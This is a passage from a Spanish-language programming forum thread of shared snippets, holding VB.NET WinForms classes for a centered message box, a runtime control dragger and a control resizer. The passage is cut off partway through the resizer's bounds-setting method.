  524.        NativeMethods.GetWindowRect(hWnd, dlgRect)
  525.  
  526.        ' Set the custom Font (if any).
  527.        If hText <> IntPtr.Zero Then
  528.  
  529.            Me.SetFont(font:=Me.font1,
  530.                       hwnd:=hText,
  531.                       rect:=frmRect)
  532.  
  533.        End If
  534.  
  535.        ' Center the dialog window in the specified Form.
  536.        Me.CenterDialog(hwnd:=hWnd,
  537.                        dialogRect:=dlgRect,
  538.                        formRect:=frmRect)
  539.  
  540.        ' Stop the EnumThreadWndProc callback by sending False.
  541.        Return False
  542.  
  543.    End Function
  544.  
  545.    ''' <summary>
  546.    ''' Sets the font of this <see cref="CenteredMessageBox"/> window.
  547.    ''' </summary>
  548.    ''' <param name="font">The <see cref="Font"/> used to display the <see cref="CenteredMessageBox"/> text.</param>
  549.    ''' <param name="hwnd">A handle to the <see cref="CenteredMessageBox"/> window.</param>
  550.    ''' <param name="rect">A <see cref="Rectangle"/> to positionate the text.</param>
  551.    Private Sub SetFont(ByVal font As Font,
  552.                        ByVal hwnd As IntPtr,
  553.                        ByVal rect As Rectangle)
  554.  
  555.        Select Case font IsNot Nothing
  556.  
  557.            Case True
  558.                ' Set the text position.
  559.                NativeMethods.SetWindowPos(hWnd:=hwnd,
  560.                                           hWndInsertAfter:=IntPtr.Zero,
  561.                                           x:=65,
  562.                                           y:=35,
  563.                                           cx:=rect.Width,
  564.                                           cy:=font.Height,
  565.                                           uFlags:=NativeMethods.SetWindowPosFlags.None)
  566.  
  567.                ' Set the new font.
  568.                NativeMethods.SendMessage(hWnd:=hwnd,
  569.                                          msg:=NativeMethods.WindowsMessages.WM_SETFONT,
  570.                                          wParam:=font.ToHfont,
  571.                                          lParam:=New IntPtr(1))
  572.  
  573.            Case Else
  574.                ' Do Nothing.
  575.  
  576.                ' Get the dialog font.
  577.                ' dim fnt as Font = Font.FromHfont(NativeMethods.SendMessage(hWnd:=hwnd,
  578.                '                                                            msg:=NativeMethods.WindowsMessages.WM_GETFONT,
  579.                '                                                            wParam:=IntPtr.Zero,
  580.                '                                                            lParam:=IntPtr.Zero))
  581.  
  582.        End Select
  583.  
  584.    End Sub
  585.  
  586.    ''' <summary>
  587.    ''' Centers the <see cref="CenteredMessageBox"/> dialog in the specified <see cref="Form"/>.
  588.    ''' </summary>
  589.    ''' <param name="hwnd">A handle to the <see cref="CenteredMessageBox"/> window.</param>
  590.    ''' <param name="dialogRect">The dialog <see cref="NativeMethods.Rect"/> structure.</param>
  591.    ''' <param name="formRect">The form <see cref="Rectangle"/> structure.</param>
  592.    Private Sub CenterDialog(ByVal hwnd As IntPtr,
  593.                             ByVal dialogRect As NativeMethods.Rect,
  594.                             ByVal formRect As Rectangle)
  595.  
  596.        ' Resize and positionate the messagebox window.
  597.        NativeMethods.MoveWindow(hwnd,
  598.                                 x:=formRect.Left + (formRect.Width - dialogRect.Right + dialogRect.Left) \ 2I,
  599.                                 y:=formRect.Top + (formRect.Height - dialogRect.Bottom + dialogRect.Top) \ 2I,
  600.                                 width:=(dialogRect.Right - dialogRect.Left),
  601.                                 height:=(dialogRect.Bottom - dialogRect.Top),
  602.                                 repaint:=True)
  603.  
  604.    End Sub
  605.  
  606. #End Region
  607.  
  608. #Region " Event Handlers "
  609.  
  610.    ''' <summary>
  611.    ''' Handles the Tick event of the TimeoutTimer control.
  612.    ''' </summary>
  613.    ''' <param name="sender">The source of the event.</param>
  614.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  615.    Private Sub TimeoutTimer_Tick(ByVal sender As Object, ByVal e As EventArgs) _
  616.    Handles timeoutTimer.Tick
  617.  
  618.        NativeMethods.DestroyWindow(Me.messageBoxWindowHandle1)
  619.        Me.Dispose()
  620.  
  621.    End Sub
  622.  
  623. #End Region
  624.  
  625. #Region " IDisposable "
  626.  
  627.    ''' <summary>
  628.    ''' To detect redundant calls when disposing.
  629.    ''' </summary>
  630.    Private isDisposed As Boolean = False
  631.  
  632.    ''' <summary>
  633.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  634.    ''' </summary>
  635.    Public Sub Dispose() Implements IDisposable.Dispose
  636.  
  637.        Me.Dispose(isDisposing:=True)
  638.        GC.SuppressFinalize(obj:=Me)
  639.  
  640.    End Sub
  641.  
  642.    ''' <summary>
  643.    ''' Releases unmanaged and - optionally - managed resources.
  644.    ''' </summary>
  645.    ''' <param name="IsDisposing">
  646.    ''' <c>true</c> to release both managed and unmanaged resources;
  647.    ''' <c>false</c> to release only unmanaged resources.
  648.    ''' </param>
  649.    Protected Sub Dispose(ByVal isDisposing As Boolean)
  650.  
  651.        If Not Me.isDisposed Then
  652.  
  653.            If isDisposing Then
  654.  
  655.                Me.tries = -1
  656.                Me.ownerForm1 = Nothing
  657.  
  658.                If Me.font1 IsNot Nothing Then
  659.                    Me.font1.Dispose()
  660.                End If
  661.  
  662.            End If
  663.  
  664.        End If
  665.  
  666.        Me.isDisposed = True
  667.  
  668.    End Sub
  669.  
  670. #End Region
  671.  
  672. End Class
  673.  
  674. #End Region


Título: Re: Librería de Snippets !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 30 Noviembre 2014, 01:53 am
Ejemplo de cómo añadir en tiempo de ejecución la característica Drag (arrastrar) en un control, para arrastrarlo por la UI.

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 11-10-2014
  4. ' ***********************************************************************
  5. ' <copyright file="ControlDragger.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Public Class Form1
  13. '
  14. '    Private Dragger As ControlDragger = ControlDragger.Empty
  15. '
  16. '    Private Sub InitializeDrag()
  17. '        Me.Dragger = New ControlDragger(Button1)
  18. '        Me.Dragger.Cursor = Cursors.SizeAll
  19. '        Me.Dragger.Enabled = True
  20. '    End Sub
  21. '
  22. '    Private Sub AlternateDrag()
  23. '        Dragger.Enabled = Not Dragger.Enabled
  24. '    End Sub
  25. '
  26. '    Private Sub FinishDrag()
  27. '        Dragger.Dispose()
  28. '    End Sub
  29. '
  30. '    Private Sub Test() Handles MyBase.Shown
  31. '        Me.InitializeDrag()
  32. '    End Sub
  33. '
  34. 'End Class
  35.  
  36. #End Region
  37.  
  38. #Region " Imports "
  39.  
  40. Imports System.ComponentModel
  41.  
  42. #End Region
  43.  
  44. #Region " Control Dragger "
  45.  
  46. ''' <summary>
  47. ''' Enable or disable drag at runtime on a <see cref="Control"/>.
  48. ''' </summary>
  49. Friend NotInheritable Class ControlDragger : Implements IDisposable
  50.  
  51. #Region " Properties "
  52.  
  53.    ''' <summary>
  54.    ''' Gets the associated <see cref="Control"/> used to perform draggable operations.
  55.    ''' </summary>
  56.    ''' <value>The control.</value>
  57.    <EditorBrowsable(EditorBrowsableState.Always)>
  58.    <Description("The associated Control used to perform draggable operations.")>
  59.    Friend ReadOnly Property Control As Control
  60.        Get
  61.            Return Me._ctrl
  62.        End Get
  63.    End Property
  64.    ''' <summary>
  65.    ''' The associated <see cref="Control"/> used to perform draggable operations.
  66.    ''' </summary>
  67.    Private WithEvents _ctrl As Control = Nothing
  68.  
  69.    ''' <summary>
  70.    ''' Represents a <see cref="T:ControlDragger"/> instance that is <c>Nothing</c>.
  71.    ''' </summary>
  72.    ''' <value><c>Nothing</c></value>
  73.    <EditorBrowsable(EditorBrowsableState.Always)>
  74.    <Description("Represents a ControlDragger instance that is Nothing.")>
  75.    Public Shared ReadOnly Property Empty As ControlDragger
  76.        Get
  77.            Return Nothing
  78.        End Get
  79.    End Property
  80.  
  81.    ''' <summary>
  82.    ''' Gets or sets a value indicating whether drag is enabled on the associated <see cref="Control"/>.
  83.    ''' </summary>
  84.    ''' <value><c>true</c> if drag is enabled; otherwise, <c>false</c>.</value>
  85.    <EditorBrowsable(EditorBrowsableState.Always)>
  86.    <Description("A value indicating whether drag is enabled on the associated control.")>
  87.    Friend Property Enabled As Boolean = True
  88.  
  89.    ''' <summary>
  90.    ''' Gets or sets the <see cref="Cursor"/> used to drag the associated <see cref="Control"/>.
  91.    ''' </summary>
  92.    ''' <value>The <see cref="Cursor"/>.</value>
  93.    <EditorBrowsable(EditorBrowsableState.Always)>
  94.    <Description("The Cursor used to drag the associated Control")>
  95.    Friend Property Cursor As Cursor = Cursors.SizeAll
  96.  
  97.    ''' <summary>
  98.    ''' A <see cref="T:ControlDragger"/> instance instance containing the draggable information of the associated <see cref="Control"/>.
  99.    ''' </summary>
  100.    ''' <value>The draggable information.</value>
  101.    <EditorBrowsable(EditorBrowsableState.Never)>
  102.    <Description("A ControlDragger instance instance containing the draggable information of the associated Control.")>
  103.    Private Property DragInfo As ControlDragger = ControlDragger.Empty
  104.  
  105.    ''' <summary>
  106.    ''' Gets or sets the initial mouse coordinates, normally <see cref="Control.MousePosition"/>.
  107.    ''' </summary>
  108.    ''' <value>The initial mouse coordinates.</value>
  109.    <EditorBrowsable(EditorBrowsableState.Never)>
  110.    <Description("The initial mouse coordinates, normally 'Control.MousePosition'")>
  111.    Private Property InitialMouseCoords As Point = Point.Empty
  112.  
  113.    ''' <summary>
  114.    ''' Gets or sets the initial <see cref="Control"/> location, normally <see cref="Control.Location"/>.
  115.    ''' </summary>
  116.    ''' <value>The initial location.</value>
  117.    <EditorBrowsable(EditorBrowsableState.Never)>
  118.    <Description("The initial Control location, normally 'Control.Location'")>
  119.    Private Property InitialLocation As Point = Point.Empty
  120.  
  121.    ''' <summary>
  122.    ''' Gets or sets the old control's cursor to restore it after dragging.
  123.    ''' </summary>
  124.    ''' <value>The old control's cursor.</value>
  125.    <EditorBrowsable(EditorBrowsableState.Never)>
  126.    <Description("The old control's cursor to restore it after dragging.")>
  127.    Private Property oldCursor As Cursor = Nothing
  128.  
  129. #End Region
  130.  
  131. #Region " Constructors "
  132.  
  133.    ''' <summary>
  134.    ''' Prevents a default instance of the <see cref="ControlDragger"/> class from being created.
  135.    ''' </summary>
  136.    Private Sub New()
  137.    End Sub
  138.  
  139.    ''' <summary>
  140.    ''' Initializes a new instance of the <see cref="ControlDragger"/> class.
  141.    ''' </summary>
  142.    ''' <param name="ctrl">The <see cref="Control"/> used to perform draggable operations.</param>
  143.    Public Sub New(ByVal ctrl As Control)
  144.  
  145.        Me._ctrl = ctrl
  146.  
  147.    End Sub
  148.  
  149.    ''' <summary>
  150.    ''' Initializes a new instance of the <see cref="ControlDragger"/> class.
  151.    ''' </summary>
  152.    ''' <param name="mouseCoordinates">The current mouse coordinates.</param>
  153.    ''' <param name="location">The current location.</param>
  154.    Private Sub New(ByVal mouseCoordinates As Point, ByVal location As Point)
  155.  
  156.        Me.InitialMouseCoords = mouseCoordinates
  157.        Me.InitialLocation = location
  158.  
  159.    End Sub
  160.  
  161. #End Region
  162.  
  163. #Region " Private Methods "
  164.  
  165.    ''' <summary>
  166.    ''' Return the new location.
  167.    ''' </summary>
  168.    ''' <param name="mouseCoordinates">The current mouse coordinates.</param>
  169.    ''' <returns>The new location.</returns>
  170.    Private Function GetNewLocation(ByVal mouseCoordinates As Point) As Point
  171.  
  172.        Return New Point(InitialLocation.X + (mouseCoordinates.X - InitialMouseCoords.X),
  173.                         InitialLocation.Y + (mouseCoordinates.Y - InitialMouseCoords.Y))
  174.  
  175.    End Function
  176.  
  177. #End Region
  178.  
  179. #Region " Hidden Methods "
  180.  
  181.    ''' <summary>
  182.    ''' Serves as a hash function for a particular type.
  183.    ''' </summary>
  184.    <EditorBrowsable(EditorBrowsableState.Never)>
  185.    Public Shadows Sub GetHashCode()
  186.    End Sub
  187.  
  188.    ''' <summary>
  189.    ''' Gets the System.Type of the current instance.
  190.    ''' </summary>
  191.    ''' <returns>The exact runtime type of the current instance.</returns>
  192.    <EditorBrowsable(EditorBrowsableState.Never)>
  193.    Public Shadows Function [GetType]()
  194.        Return Me.GetType
  195.    End Function
  196.  
  197.    ''' <summary>
  198.    ''' Determines whether the specified System.Object instances are considered equal.
  199.    ''' </summary>
  200.    <EditorBrowsable(EditorBrowsableState.Never)>
  201.    Public Shadows Sub Equals()
  202.    End Sub
  203.  
  204.    ''' <summary>
  205.    ''' Determines whether the specified System.Object instances are the same instance.
  206.    ''' </summary>
  207.    <EditorBrowsable(EditorBrowsableState.Never)>
  208.    Private Shadows Sub ReferenceEquals()
  209.    End Sub
  210.  
  211.    ''' <summary>
  212.    ''' Returns a String that represents the current object.
  213.    ''' </summary>
  214.    <EditorBrowsable(EditorBrowsableState.Never)>
  215.    Public Shadows Sub ToString()
  216.    End Sub
  217.  
  218. #End Region
  219.  
  220. #Region " Event Handlers "
  221.  
  222.    ''' <summary>
  223.    ''' Handles the MouseEnter event of the control.
  224.    ''' </summary>
  225.    ''' <param name="sender">The source of the event.</param>
  226.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  227.    Private Sub ctrl_MouseEnter(ByVal sender As Object, ByVal e As EventArgs) _
  228.    Handles _ctrl.MouseEnter
  229.  
  230.        Me.oldCursor = Me._ctrl.Cursor
  231.  
  232.        If Me.Enabled Then
  233.  
  234.            Me._ctrl.Cursor = Me.Cursor
  235.            Me._ctrl.BringToFront()
  236.  
  237.        End If
  238.  
  239.    End Sub
  240.  
  241.    ''' <summary>
  242.    ''' Handles the MouseLeave event of the control.
  243.    ''' </summary>
  244.    ''' <param name="sender">The source of the event.</param>
  245.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  246.    Private Sub ctrl_MouseLeave(ByVal sender As Object, ByVal e As EventArgs) _
  247.    Handles _ctrl.MouseLeave
  248.  
  249.        Me._ctrl.Cursor = Me.oldCursor
  250.  
  251.    End Sub
  252.  
  253.    ''' <summary>
  254.    ''' Handles the MouseDown event of the control.
  255.    ''' </summary>
  256.    ''' <param name="sender">The source of the event.</param>
  257.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  258.    Private Sub ctrl_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) _
  259.    Handles _ctrl.MouseDown
  260.  
  261.        If Me.Enabled Then
  262.  
  263.            Me.DragInfo = New ControlDragger(Control.MousePosition, Me._ctrl.Location)
  264.  
  265.        End If
  266.  
  267.    End Sub
  268.  
  269.    ''' <summary>
  270.    ''' Handles the MouseMove event of the control.
  271.    ''' </summary>
  272.    ''' <param name="sender">The source of the event.</param>
  273.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  274.    Private Sub ctrl_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs) _
  275.    Handles _ctrl.MouseMove
  276.  
  277.        If Me.Enabled AndAlso (Me.DragInfo IsNot ControlDragger.Empty) Then
  278.  
  279.            Me._ctrl.Location = New Point(Me.DragInfo.GetNewLocation(Control.MousePosition))
  280.  
  281.        End If
  282.  
  283.    End Sub
  284.  
  285.    ''' <summary>
  286.    ''' Handles the MouseUp event of the control.
  287.    ''' </summary>
  288.    ''' <param name="sender">The source of the event.</param>
  289.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  290.    Private Sub ctrl_MouseUp(ByVal sender As Object, ByVal e As MouseEventArgs) _
  291.    Handles _ctrl.MouseUp
  292.  
  293.        Me.DragInfo = ControlDragger.Empty
  294.  
  295.    End Sub
  296.  
  297. #End Region
  298.  
  299. #Region " IDisposable "
  300.  
  301.    ''' <summary>
  302.    ''' To detect redundant calls when disposing.
  303.    ''' </summary>
  304.    Private IsDisposed As Boolean = False
  305.  
  306.    ''' <summary>
  307.    ''' Prevent calls to methods after disposing.
  308.    ''' </summary>
  309.    ''' <exception cref="System.ObjectDisposedException"></exception>
  310.    Private Sub DisposedCheck()
  311.  
  312.        If Me.IsDisposed Then
  313.            Throw New ObjectDisposedException(Me.GetType().FullName)
  314.        End If
  315.  
  316.    End Sub
  317.  
  318.    ''' <summary>
  319.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  320.    ''' </summary>
  321.    Public Sub Dispose() Implements IDisposable.Dispose
  322.        Dispose(True)
  323.        GC.SuppressFinalize(Me)
  324.    End Sub
  325.  
  326.    ''' <summary>
  327.    ''' Releases unmanaged and - optionally - managed resources.
  328.    ''' </summary>
  329.    ''' <param name="IsDisposing">
  330.    ''' <c>true</c> to release both managed and unmanaged resources;
  331.    ''' <c>false</c> to release only unmanaged resources.
  332.    ''' </param>
  333.    Protected Sub Dispose(ByVal IsDisposing As Boolean)
  334.  
  335.        If Not Me.IsDisposed Then
  336.  
  337.            If IsDisposing Then
  338.  
  339.                With Me._ctrl
  340.  
  341.                    If Not .IsDisposed AndAlso Not .Disposing Then
  342.  
  343.                        RemoveHandler .MouseEnter, AddressOf ctrl_MouseEnter
  344.                        RemoveHandler .MouseLeave, AddressOf ctrl_MouseLeave
  345.                        RemoveHandler .MouseDown, AddressOf ctrl_MouseDown
  346.                        RemoveHandler .MouseMove, AddressOf ctrl_MouseMove
  347.                        RemoveHandler .MouseUp, AddressOf ctrl_MouseUp
  348.  
  349.                    End If
  350.  
  351.                End With ' Me._ctrl
  352.  
  353.                With Me
  354.  
  355.                    .Enabled = False
  356.                    .DragInfo = ControlDragger.Empty
  357.                    .InitialMouseCoords = Point.Empty
  358.                    .InitialLocation = Point.Empty
  359.                    .oldCursor = Nothing
  360.                    ._ctrl = Nothing
  361.  
  362.                End With ' Me
  363.  
  364.            End If ' IsDisposing
  365.  
  366.        End If ' Not Me.IsDisposed
  367.  
  368.        Me.IsDisposed = True
  369.  
  370.    End Sub
  371.  
  372. #End Region
  373.  
  374. End Class
  375.  
  376. #End Region



Ejemplo de cómo añadir en tiempo de ejecución la característica Resize (redimensionar) en un control, para redimensionarlo por la UI.

Código
  1. ' ***********************************************************************
  2. ' Author           : Elektro
  3. ' Last Modified On : 11-10-2014
  4. ' ***********************************************************************
  5. ' <copyright file="ControlResizer.vb" company="Elektro Studios">
  6. '     Copyright (c) Elektro Studios. All rights reserved.
  7. ' </copyright>
  8. ' ***********************************************************************
  9.  
  10. #Region " Usage Examples "
  11.  
  12. 'Public Class Form1
  13. '
  14. '    Private Resizer As ControlResizer = ControlResizer.Empty
  15. '
  16. '    Private Sub InitializeResizer()
  17. '        Me.Resizer = New ControlResizer(Button1)
  18. '        Me.Resizer.Enabled = True
  19. '        Me.Resizer.PixelMargin = 4
  20. '    End Sub
  21. '
  22. '    Private Sub AlternateResizer()
  23. '        Me.Resizer.Enabled = Not Resizer.Enabled
  24. '    End Sub
  25. '
  26. '    Private Sub FinishResizer()
  27. '        Me.Resizer.Dispose()
  28. '    End Sub
  29. '
  30. '    Private Sub Test() Handles MyBase.Shown
  31. '        Me.InitializeResizer()
  32. '    End Sub
  33. '
  34. 'End Class
  35.  
  36. #End Region
  37.  
  38. #Region " Imports "
  39.  
  40. Imports System.ComponentModel
  41.  
  42. #End Region
  43.  
  44. #Region " Control Resizer "
  45.  
  46. ''' <summary>
  47. ''' Enable or disable resize at runtime on a <see cref="Control"/>.
  48. ''' </summary>
  49. Public Class ControlResizer : Implements IDisposable
  50.  
  51. #Region " Properties "
  52.  
  53. #Region " Visible "
  54.  
  55.    ''' <summary>
  56.    ''' Gets the associated <see cref="Control"/> used to perform resizable operations.
  57.    ''' </summary>
  58.    ''' <value>The control.</value>
  59.    <EditorBrowsable(EditorBrowsableState.Always)>
  60.    <Description("The associated Control used to perform resizable operations.")>
  61.    Friend ReadOnly Property Control As Control
  62.        Get
  63.            Return Me._ctrl
  64.        End Get
  65.    End Property
  66.    ''' <summary>
  67.    ''' The associated <see cref="Control"/> used to perform draggable operations.
  68.    ''' </summary>
  69.    Private WithEvents _ctrl As Control = Nothing
  70.  
  71.    ''' <summary>
  72.    ''' Gets or sets the pixel margin required to activate resize indicators.
  73.    ''' </summary>
  74.    ''' <value>The pixel margin required activate resize indicators.</value>
  75.    <EditorBrowsable(EditorBrowsableState.Always)>
  76.    <Description("The associated Control used to perform resizable operations.")>
  77.    Friend Property PixelMargin As Integer = 4I
  78.  
  79.    ''' <summary>
  80.    ''' Gets or sets a value indicating whether resize is enabled on the associated <see cref="Control"/>.
  81.    ''' </summary>
  82.    ''' <value><c>true</c> if resize is enabled; otherwise, <c>false</c>.</value>
  83.    <EditorBrowsable(EditorBrowsableState.Always)>
  84.    <Description("A value indicating whether resize is enabled on the associated control.")>
  85.    Friend Property Enabled As Boolean = True
  86.  
  87.    ''' <summary>
  88.    ''' Represents a <see cref="T:ControlResizer"/> instance that is <c>Nothing</c>.
  89.    ''' </summary>
  90.    ''' <value><c>Nothing</c></value>
  91.    <EditorBrowsable(EditorBrowsableState.Always)>
  92.    <Description("Represents a ControlResizer instance that is Nothing.")>
  93.    Public Shared ReadOnly Property Empty As ControlResizer
  94.        Get
  95.            Return Nothing
  96.        End Get
  97.    End Property
  98.  
  99. #End Region
  100.  
  101. #Region " Hidden "
  102.  
  103.    ''' <summary>
  104.    ''' Gets or sets a value indicating whether the left mouse button is down.
  105.    ''' </summary>
  106.    ''' <value><c>true</c> if left mouse button is down; otherwise, <c>false</c>.</value>
  107.    Private Property IsLeftMouseButtonDown As Boolean = False
  108.  
  109.    ''' <summary>
  110.    ''' Gets or sets the current active edge.
  111.    ''' </summary>
  112.    ''' <value>The current active edge.</value>
  113.    Private Property ActiveEdge As Edges = Edges.None
  114.  
  115.    ''' <summary>
  116.    ''' Gets or sets the old control's cursor to restore it after resizing.
  117.    ''' </summary>
  118.    ''' <value>The old control's cursor.</value>
  119.    Private Property oldCursor As Cursor = Nothing
  120.  
  121. #End Region
  122.  
  123. #End Region
  124.  
  125. #Region " Enumerations "
  126.  
  127.    ''' <summary>
  128.    ''' Contains the Edges.
  129.    ''' </summary>
  130.    Private Enum Edges As Integer
  131.  
  132.        ''' <summary>
  133.        ''' Any edge.
  134.        ''' </summary>
  135.        None = 0I
  136.  
  137.        ''' <summary>
  138.        ''' Left edge.
  139.        ''' </summary>
  140.        Left = 1I
  141.  
  142.        ''' <summary>
  143.        ''' Right edge.
  144.        ''' </summary>
  145.        Right = 2I
  146.  
  147.        ''' <summary>
  148.        ''' Top edge.
  149.        ''' </summary>
  150.        Top = 3I
  151.  
  152.        ''' <summary>
  153.        ''' Bottom edge.
  154.        ''' </summary>
  155.        Bottom = 4I
  156.  
  157.        ''' <summary>
  158.        ''' Top-Left edge.
  159.        ''' </summary>
  160.        TopLeft = 5I
  161.  
  162.        ''' <summary>
  163.        ''' Top-Right edge.
  164.        ''' </summary>
  165.        TopRight = 6I
  166.  
  167.        ''' <summary>
  168.        ''' Bottom-Left edge.
  169.        ''' </summary>
  170.        BottomLeft = 7I
  171.  
  172.        ''' <summary>
  173.        ''' Bottom-Right edge.
  174.        ''' </summary>
  175.        BottomRight = 8I
  176.  
  177.    End Enum
  178.  
  179. #End Region
  180.  
  181. #Region " Constructors "
  182.  
  183.    ''' <summary>
  184.    ''' Prevents a default instance of the <see cref="ControlResizer"/> class from being created.
  185.    ''' </summary>
  186.    Private Sub New()
  187.    End Sub
  188.  
  189.    ''' <summary>
  190.    ''' Initializes a new instance of the <see cref="ControlResizer"/> class.
  191.    ''' </summary>
  192.    ''' <param name="ctrl">The control.</param>
  193.    Public Sub New(ByVal ctrl As Control)
  194.  
  195.        Me._ctrl = ctrl
  196.  
  197.    End Sub
  198.  
  199. #End Region
  200.  
  201. #Region " Event Handlers "
  202.  
  203.    ''' <summary>
  204.    ''' Handles the MouseEnter event of the control.
  205.    ''' </summary>
  206.    ''' <param name="sender">The source of the event.</param>
  207.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  208.    Private Sub ctrl_MouseEnter(ByVal sender As Object, ByVal e As EventArgs) _
  209.    Handles _ctrl.MouseEnter
  210.  
  211.        Me.oldCursor = Me._ctrl.Cursor
  212.  
  213.    End Sub
  214.  
  215.    ''' <summary>
  216.    ''' Handles the MouseLeave event of the control.
  217.    ''' </summary>
  218.    ''' <param name="sender">The source of the event.</param>
  219.    ''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
  220.    Private Sub ctrl_MouseLeave(ByVal sender As Object, ByVal e As EventArgs) _
  221.    Handles _ctrl.MouseLeave
  222.  
  223.        Me.ActiveEdge = Edges.None
  224.        Me._ctrl.Cursor = Me.oldCursor
  225.  
  226.    End Sub
  227.  
  228.    ''' <summary>
  229.    ''' Handles the MouseDown event of the control.
  230.    ''' </summary>
  231.    ''' <param name="sender">The source of the event.</param>
  232.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  233.    Private Sub ctrl_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) _
  234.    Handles _ctrl.MouseDown
  235.  
  236.        Me.IsLeftMouseButtonDown = (e.Button = MouseButtons.Left)
  237.  
  238.    End Sub
  239.  
  240.    ''' <summary>
  241.    ''' Handles the MouseUp event of the control.
  242.    ''' </summary>
  243.    ''' <param name="sender">The source of the event.</param>
  244.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  245.    Private Sub ctrl_MouseUp(ByVal sender As Object, ByVal e As MouseEventArgs) _
  246.    Handles _ctrl.MouseUp
  247.  
  248.        Me.IsLeftMouseButtonDown = False
  249.  
  250.    End Sub
  251.  
  252.    ''' <summary>
  253.    ''' Handles the MouseMove event of the control.
  254.    ''' </summary>
  255.    ''' <param name="sender">The source of the event.</param>
  256.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  257.    Private Sub ctrl_MouseMove(ByVal sender As Object, ByVal e As MouseEventArgs) _
  258.    Handles _ctrl.MouseMove
  259.  
  260.        If Not Me.Enabled Then
  261.            Exit Sub
  262.  
  263.        ElseIf (Me.IsLeftMouseButtonDown) AndAlso Not (Me.ActiveEdge = Edges.None) Then
  264.            Me.SetControlBounds(e)
  265.  
  266.        Else
  267.            Me.SetActiveEdge(e)
  268.            Me.SetSizeCursor()
  269.  
  270.        End If
  271.  
  272.    End Sub
  273.  
  274. #End Region
  275.  
  276. #Region " Private Methods "
  277.  
  278.    ''' <summary>
  279.    ''' Sets the active edge.
  280.    ''' </summary>
  281.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  282.    Private Sub SetActiveEdge(ByVal e As MouseEventArgs)
  283.  
  284.        Select Case True
  285.  
  286.            ' Top-Left Corner
  287.            Case e.X <= (Me.PixelMargin * 2) AndAlso
  288.                 e.Y <= (Me.PixelMargin * 2)
  289.  
  290.                Me.ActiveEdge = Edges.TopLeft
  291.  
  292.                ' TopRight Corner
  293.            Case e.X > Me._ctrl.Width - (Me.PixelMargin * 2) AndAlso
  294.                 e.Y <= (Me.PixelMargin * 2)
  295.  
  296.                Me.ActiveEdge = Edges.TopRight
  297.  
  298.                ' Bottom-Left Corner
  299.            Case (e.X <= Me.PixelMargin * 2) AndAlso
  300.                 (e.Y > Me._ctrl.Height - (Me.PixelMargin * 2))
  301.  
  302.                Me.ActiveEdge = Edges.BottomLeft
  303.  
  304.                ' Bottom-Right Corner
  305.            Case (e.X > Me._ctrl.Width - (Me.PixelMargin * 2) - 1) AndAlso
  306.                 (e.Y > Me._ctrl.Height - (Me.PixelMargin * 2))
  307.  
  308.                Me.ActiveEdge = Edges.BottomRight
  309.  
  310.  
  311.                ' Left Edge
  312.            Case e.X <= Me.PixelMargin
  313.                Me.ActiveEdge = Edges.Left
  314.  
  315.                ' Right Edge
  316.            Case e.X > Me._ctrl.Width - (Me.PixelMargin + 1)
  317.                Me.ActiveEdge = Edges.Right
  318.  
  319.                ' Top Edge
  320.            Case e.Y <= Me.PixelMargin
  321.                Me.ActiveEdge = Edges.Top
  322.  
  323.                ' Bottom Edge
  324.            Case e.Y > Me._ctrl.Height - (Me.PixelMargin + 1)
  325.                Me.ActiveEdge = Edges.Bottom
  326.  
  327.            Case Else ' Any Edge
  328.                Me.ActiveEdge = Edges.None
  329.  
  330.        End Select
  331.  
  332.    End Sub
  333.  
  334.    ''' <summary>
  335.    ''' Sets the size cursor.
  336.    ''' </summary>
  337.    Private Sub SetSizeCursor()
  338.  
  339.        Select Case Me.ActiveEdge
  340.  
  341.            Case Edges.Left
  342.                Me._ctrl.Cursor = Cursors.SizeWE
  343.  
  344.            Case Edges.Right
  345.                Me._ctrl.Cursor = Cursors.SizeWE
  346.  
  347.            Case Edges.Top
  348.                Me._ctrl.Cursor = Cursors.SizeNS
  349.  
  350.            Case Edges.Bottom
  351.                Me._ctrl.Cursor = Cursors.SizeNS
  352.  
  353.            Case Edges.TopLeft
  354.                Me._ctrl.Cursor = Cursors.SizeNWSE
  355.  
  356.            Case Edges.TopRight
  357.                Me._ctrl.Cursor = Cursors.SizeNESW
  358.  
  359.            Case Edges.BottomLeft
  360.                Me._ctrl.Cursor = Cursors.SizeNESW
  361.  
  362.            Case Edges.BottomRight
  363.                Me._ctrl.Cursor = Cursors.SizeNWSE
  364.  
  365.            Case Edges.None
  366.                If Me.oldCursor IsNot Nothing Then
  367.                    Me._ctrl.Cursor = Me.oldCursor
  368.                End If
  369.  
  370.        End Select
  371.  
  372.    End Sub
  373.  
  374.    ''' <summary>
  375.    ''' Sets the control bounds.
  376.    ''' </summary>
  377.    ''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
  378.    Private Sub SetControlBounds(ByVal e As MouseEventArgs)
  379.  
  380.        If Me._ctrl.Size.Width = Me._ctrl.MinimumSize.Width Then
  381.            ' Exit Sub
  382.        Else
  383.            Debug.WriteLine(Me._ctrl.Size.ToString)
  384.        End If
  385.  
  386.        Me._ctrl.SuspendLayout()
  387.  
  388.        Select Case Me.ActiveEdge
  389.  
  390.            Case Edges.Left
